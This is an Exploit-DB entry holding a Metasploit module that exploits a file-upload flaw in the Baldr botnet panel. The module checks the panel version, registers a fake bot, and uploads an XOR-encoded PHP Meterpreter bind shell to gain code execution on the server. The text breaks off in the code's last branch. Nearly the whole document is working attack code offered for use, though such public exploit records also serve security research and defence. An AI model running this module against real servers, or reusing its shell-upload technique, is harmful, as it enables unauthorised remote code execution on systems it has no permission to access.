Exploit-DB #47215
Description: Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2019-08-08
Author: Ege Balci

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Baldr Botnet Panel Shell Upload Exploit",
      'Description'    => %q{
        This module exploits the file upload vulnerability of baldr malware panel.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://prodaft.com']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['php'],
      'Arch'           => [ ARCH_PHP],
      'Targets'        =>
        [
          ['Auto',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ],
          ['Baldr <= v2.0',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ],
          ['Baldr v2.2',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ],
          ['Baldr v3.0 & v3.1',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 19 2018",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
      ]
    )
  end

  def check 
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/gate.php")
    )

    ver = ''

    if res.code == 200
      if res.body.include?('~;~')
        targets[3] = targets[0]
        #target = targets[3]
        ver = '>= v3.0'
      elsif res.body.include?(';')
        #target = targets[2]
        targets[2] = targets[0]
        ver = 'v2.2'
      elsif res.body.size < 4
        targets[1] = targets[0]
        #target = targets[1]
        ver = '<= v2.0'
      else
        Exploit::CheckCode::Safe  
      end
      print_status("Baldr verison: #{ver}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit

    name = '.'+Rex::Text.rand_text_alpha(4)
    files =
    [
      {data: payload.encoded, fname: "#{name}.php"}
    ]
    zip = Msf::Util::EXE.to_zip(files) 
    hwid = Rex::Text.rand_text_alpha(8).upcase

    if targets[0]
      check
    end


    case target
    when targets[3]
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path,"/gate.php")}
      )
      key = res.body.to_s.split('~;~')[0]
      print_good("Key: #{key}")

      data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
      data = xor(data,key)

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path,"/gate.php"),
        'data'  => data.to_s
        }
      )

      if res.code == 200
        print_good("Bot successfully registered.")
      else
        print_error("New bot register failed !")
        return false
      end

      data = xor(zip.to_s,key)
      form = Rex::MIME::Message.new
      form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")

      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path,"/gate.php"),
        'ctype'     => "multipart/form-data; boundary=#{form.bound}",
        'data'      => form.to_s
      )
      if res && (res.code == 200 ||res.code == 100)
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}") if res
        print_error("Failed to upload payload.")
        return false
      end

    when targets[2]
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path,"/gate.php")}
      )
      key = res.body.to_s.split(';')[0]
      print_good("Key: #{key}")
      data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
      data << zip.to_s
      
      result = ""
      codepoints = data.each_codepoint.to_a
      codepoints.each_index do |i|
          result += (codepoints[i] ^ key[i % key.size].ord).chr
      end

      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path,"/gate.php"),
        'data'      => result.to_s
      )
      if res && (res.code == 200 ||res.code == 100)
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}") if res
        print_error("Failed to upload payload.")
        return false
      end
    else
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path,"/gate.php"),
        'data'      => zip.to_s,
        'encode_params' => true,
        'vars_get'  => {
          'hwid'  => hwid,
          'os'  => 'Windows 7 x64',
          'cookie'  => '0',